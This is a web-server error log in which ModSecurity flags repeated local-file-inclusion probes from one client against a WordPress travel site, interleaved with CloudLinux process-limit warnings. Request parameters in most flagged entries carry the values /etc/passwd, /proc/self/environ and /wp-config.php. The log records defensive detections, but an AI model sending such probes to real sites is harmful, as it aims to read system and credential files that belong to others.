[Fri Jul 17 08:55:57.495050 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:viewport. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:viewport: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxSvekYYQ8uns4MwlvgAAAA0"]
[Fri Jul 17 08:55:57.495637 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxSvekYYQ8uns4MwlvgAAAA0"]
[Fri Jul 17 08:55:57.495780 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.496101 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgxSvekYYQ8uns4MwlvgAAAA0"]
[Fri Jul 17 08:55:57.522419 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.523691 2026] [security2:error] [pid 2031210:tid 2031210] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:viewport. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:viewport: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxcWFJ5vQjUlAF6-UZwAAAAs"]
[Fri Jul 17 08:55:57.523886 2026] [security2:error] [pid 2031210:tid 2031210] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:viewport. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:viewport: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxcWFJ5vQjUlAF6-UZwAAAAs"]
[Fri Jul 17 08:55:57.524188 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.524703 2026] [security2:error] [pid 2031210:tid 2031210] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxcWFJ5vQjUlAF6-UZwAAAAs"]
[Fri Jul 17 08:55:57.524944 2026] [hostinglimits:warn] [pid 2031210:tid 2031210] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2031210) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.525434 2026] [security2:error] [pid 2031210:tid 2031210] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgxcWFJ5vQjUlAF6-UZwAAAAs"]
[Fri Jul 17 08:55:57.529464 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.536540 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.541452 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.546072 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.546407 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.546514 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.549834 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:classic-theme-styles-inline-css. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:classic-theme-styles-inline-css: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxSvekYYQ8uns4MwlwAAAAA0"]
[Fri Jul 17 08:55:57.550539 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxSvekYYQ8uns4MwlwAAAAA0"]
[Fri Jul 17 08:55:57.550694 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.550980 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgxSvekYYQ8uns4MwlwAAAAA0"]
[Fri Jul 17 08:55:57.553839 2026] [security2:error] [pid 2031210:tid 2031210] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:classic-theme-styles-inline-css. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:classic-theme-styles-inline-css: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxcWFJ5vQjUlAF6-UaAAAAAs"]
[Fri Jul 17 08:55:57.555360 2026] [security2:error] [pid 2031210:tid 2031210] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxcWFJ5vQjUlAF6-UaAAAAAs"]
[Fri Jul 17 08:55:57.555658 2026] [hostinglimits:warn] [pid 2031210:tid 2031210] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2031210) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.556082 2026] [security2:error] [pid 2031210:tid 2031210] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgxcWFJ5vQjUlAF6-UaAAAAAs"]
[Fri Jul 17 08:55:57.576730 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:classic-theme-styles-inline-css. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: etc/passwd found within ARGS:classic-theme-styles-inline-css: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxQ5GPQ6hs4VrfMpB4wAAAAY"]
[Fri Jul 17 08:55:57.576847 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:classic-theme-styles-inline-css. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: etc/passwd found within ARGS:classic-theme-styles-inline-css: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxQ5GPQ6hs4VrfMpB4wAAAAY"]
[Fri Jul 17 08:55:57.577382 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxQ5GPQ6hs4VrfMpB4wAAAAY"]
[Fri Jul 17 08:55:57.577520 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.577820 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgxQ5GPQ6hs4VrfMpB4wAAAAY"]
[Fri Jul 17 08:55:57.581898 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:classic-theme-styles-inline-css. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: etc/passwd found within ARGS:classic-theme-styles-inline-css: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxVCBpfuYyhJ140vTAQAAAB4"]
[Fri Jul 17 08:55:57.582031 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:classic-theme-styles-inline-css. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: etc/passwd found within ARGS:classic-theme-styles-inline-css: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxVCBpfuYyhJ140vTAQAAAB4"]
[Fri Jul 17 08:55:57.582641 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxVCBpfuYyhJ140vTAQAAAB4"]
[Fri Jul 17 08:55:57.582774 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.583061 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgxVCBpfuYyhJ140vTAQAAAB4"]
[Fri Jul 17 08:55:57.593779 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:classic-theme-styles-inline-css. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:classic-theme-styles-inline-css: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxSvekYYQ8uns4MwlwQAAAA0"]
[Fri Jul 17 08:55:57.593951 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:classic-theme-styles-inline-css. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:classic-theme-styles-inline-css: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxSvekYYQ8uns4MwlwQAAAA0"]
[Fri Jul 17 08:55:57.594498 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxSvekYYQ8uns4MwlwQAAAA0"]
[Fri Jul 17 08:55:57.594691 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.595086 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgxSvekYYQ8uns4MwlwQAAAA0"]
[Fri Jul 17 08:55:57.602007 2026] [hostinglimits:warn] [pid 2031210:tid 2031210] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2031210) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.605289 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:classic-theme-styles-inline-css. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:classic-theme-styles-inline-css: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxYl9vhFBGA6D8l96SwAAAAw"]
[Fri Jul 17 08:55:57.605475 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:classic-theme-styles-inline-css. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:classic-theme-styles-inline-css: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxYl9vhFBGA6D8l96SwAAAAw"]
[Fri Jul 17 08:55:57.606209 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxYl9vhFBGA6D8l96SwAAAAw"]
